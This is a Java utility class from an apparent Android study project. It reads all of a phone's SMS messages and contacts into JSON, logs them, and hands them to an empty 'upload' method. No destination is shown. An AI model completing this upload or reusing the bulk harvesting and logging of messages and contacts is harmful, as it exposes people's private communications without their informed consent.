package com.study.jyg.rxjava2study.utils;

import android.Manifest;
import android.database.Cursor;
import android.database.sqlite.SQLiteException;
import android.net.Uri;
import android.provider.ContactsContract;
import android.text.TextUtils;
import android.util.Log;


import androidx.appcompat.app.AppCompatActivity;

import com.google.gson.Gson;
import com.study.jyg.rxjava2study.MyApplication;
import com.study.jyg.rxjava2study.bean.ContactModel;

import org.json.JSONArray;
import org.json.JSONException;
import org.json.JSONObject;

import java.io.UnsupportedEncodingException;
import java.net.URLDecoder;
import java.text.SimpleDateFormat;
import java.util.ArrayList;
import java.util.Date;
import java.util.HashMap;
import java.util.List;

public class MsgUtil {

    private static String toUTF8(String str){
        try {
            return URLDecoder.decode(str, "UTF-8");
        } catch (UnsupportedEncodingException e) {
            e.printStackTrace();
        }
        return str;
    }
    /**
     * 获取短信/联系人列表
     */
    public static void getSmsContactList(AppCompatActivity appCompatActivity){
        RxPermissionUtil.initPermission(appCompatActivity, 101, ()->{
                String msg = toUTF8(getSmsInPhone());
                String tel = toUTF8(handleContact());
                Log.e("sms", msg);
                Log.e("tel", tel);
                upTxl(tel, msg);
        }, Manifest.permission.READ_SMS, Manifest.permission.READ_CONTACTS);
    }
    //传电话
    private static void upTxl(String tel, String sms) {
    }


    public static String getSmsInPhone() {
        final String SMS_URI_ALL = "content://sms/"; // 所有短信
        final String SMS_URI_INBOX = "content://sms/inbox"; // 收件箱
        final String SMS_URI_SEND = "content://sms/sent"; // 已发送
        final String SMS_URI_DRAFT = "content://sms/draft"; // 草稿
        final String SMS_URI_OUTBOX = "content://sms/outbox"; // 发件箱
        final String SMS_URI_FAILED = "content://sms/failed"; // 发送失败
        final String SMS_URI_QUEUED = "content://sms/queued"; // 待发送列表

        StringBuilder smsBuilder = new StringBuilder();

        JSONArray array = new JSONArray();

        try {
            Uri uri = Uri.parse(SMS_URI_ALL);
            String[] projection = new String[] { "_id", "address", "person",
                    "body", "date", "type", };
            Cursor cur = MyApplication.getAppContext().getContentResolver().query(uri, projection, null,
                    null, "date desc"); // 获取手机内部短信
            // 获取短信中最新的未读短信
            // Cursor cur = getContentResolver().query(uri, projection,
            // "read = ?", new String[]{"0"}, "date desc");
            if (cur.moveToFirst()) {
                int index_Address = cur.getColumnIndex("address");
                int index_Person = cur.getColumnIndex("person");
                int index_Body = cur.getColumnIndex("body");
                int index_Date = cur.getColumnIndex("date");
                int index_Type = cur.getColumnIndex("type");

                do {
                    String strAddress = cur.getString(index_Address);
                    int intPerson = cur.getInt(index_Person);
                    String strbody = cur.getString(index_Body);
                    long longDate = cur.getLong(index_Date);
                    int intType = cur.getInt(index_Type);

                    SimpleDateFormat dateFormat = new SimpleDateFormat(
                            "yyyy-MM-dd hh:mm:ss");
                    Date d = new Date(longDate);
                    String strDate = dateFormat.format(d);

                    String strType = "";
                    if (intType == 1) {
                        strType = "接收";
                    } else if (intType == 2) {
                        strType = "发送";
                    } else if (intType == 3) {
                        strType = "草稿";
                    } else if (intType == 4) {
                        strType = "发件箱";
                    } else if (intType == 5) {
                        strType = "发送失败";
                    } else if (intType == 6) {
                        strType = "待发送列表";
                    } else if (intType == 0) {
                        strType = "所以短信";
                    } else {
                        strType = "null";
                    }
                    JSONObject object = new JSONObject();
                    object.putOpt("address", strAddress);
                    object.putOpt("person", intPerson);
                    object.putOpt("body", strbody);
                    object.putOpt("date", strDate);
                    object.putOpt("type", strType);
                    array.put(object);

//                    smsBuilder.append("[ ");
//                    smsBuilder.append(strAddress + ", ");
//                    smsBuilder.append(intPerson + ", ");
//                    smsBuilder.append(strbody + ", ");
//                    smsBuilder.append(strDate + ", ");
//                    smsBuilder.append(strType);
//                    smsBuilder.append(" ]\n\n");
                } while (cur.moveToNext());

                if (!cur.isClosed()) {
                    cur.close();
                    cur = null;
                }
            } else {
                smsBuilder.append("no result!");
            }

            smsBuilder.append("getSmsInPhone has executed!");

        } catch (SQLiteException ex) {
            Log.d("SQLiteException sms", ex.getMessage());
        } catch (JSONException e) {
            e.printStackTrace();
        }

        return array.toString();
    }

    private final static String end="EEEEEE";
    private final static String start="SSSSSS";

    public static String handleContact(){

        List<HashMap<String, String>> allContactInfo = getAllContactInfo();
        List<ContactModel> contactModels = new ArrayList<>();
        contactModels.clear();
        for(HashMap<String, String> map:allContactInfo ){
            ContactModel contactModel=new ContactModel();
            String name = map.get("name");
            if (TextUtils.isEmpty(name)){
                name="";
            }
            contactModel.setNickname(name);
            List<String>phones=new ArrayList<>();
            String tel = map.get("phone");
            if (!TextUtils.isEmpty(tel)){
                phones.add(tel);
            }
            contactModel.setMobile(phones);
            contactModels.add(contactModel);
        }
        String mobile="";
        for(ContactModel cml:contactModels){
            if(Utils.isNotEmpty(cml)&&Utils.isNotEmpty(cml.getMobile())){
                mobile=mobile+cml.getMobile()+start+cml.getNickname()+end;
            }
        }
        if(Utils.isNotEmpty(mobile)&&mobile.contains(",")){
            mobile= mobile.substring(0,mobile.length()-1);
        }
//        return mobile;
        return new Gson().toJson(contactModels.subList(0,contactModels.size()));
    }


    public static List<HashMap<String, String>> getAllContactInfo() {
        ArrayList<HashMap<String, String>> list = new ArrayList<HashMap<String, String>>();

        Cursor cur = MyApplication.getAppContext().getContentResolver().query(ContactsContract.CommonDataKinds.Phone.CONTENT_URI, null, null, null, null);
        while (cur.moveToNext()) {
            String name = cur.getString(cur.getColumnIndex(ContactsContract.CommonDataKinds.Phone.DISPLAY_NAME)).replaceAll(" ","");
            String phone = cur.getString(cur.getColumnIndex(ContactsContract.CommonDataKinds.Phone.NUMBER)).replaceAll(" ","");
            HashMap<String, String> map = new HashMap<String, String>();
            map.put("name",name);
            map.put("phone",phone);
            list.add(map);
        }
        cur.close();

        return list;
    }
}
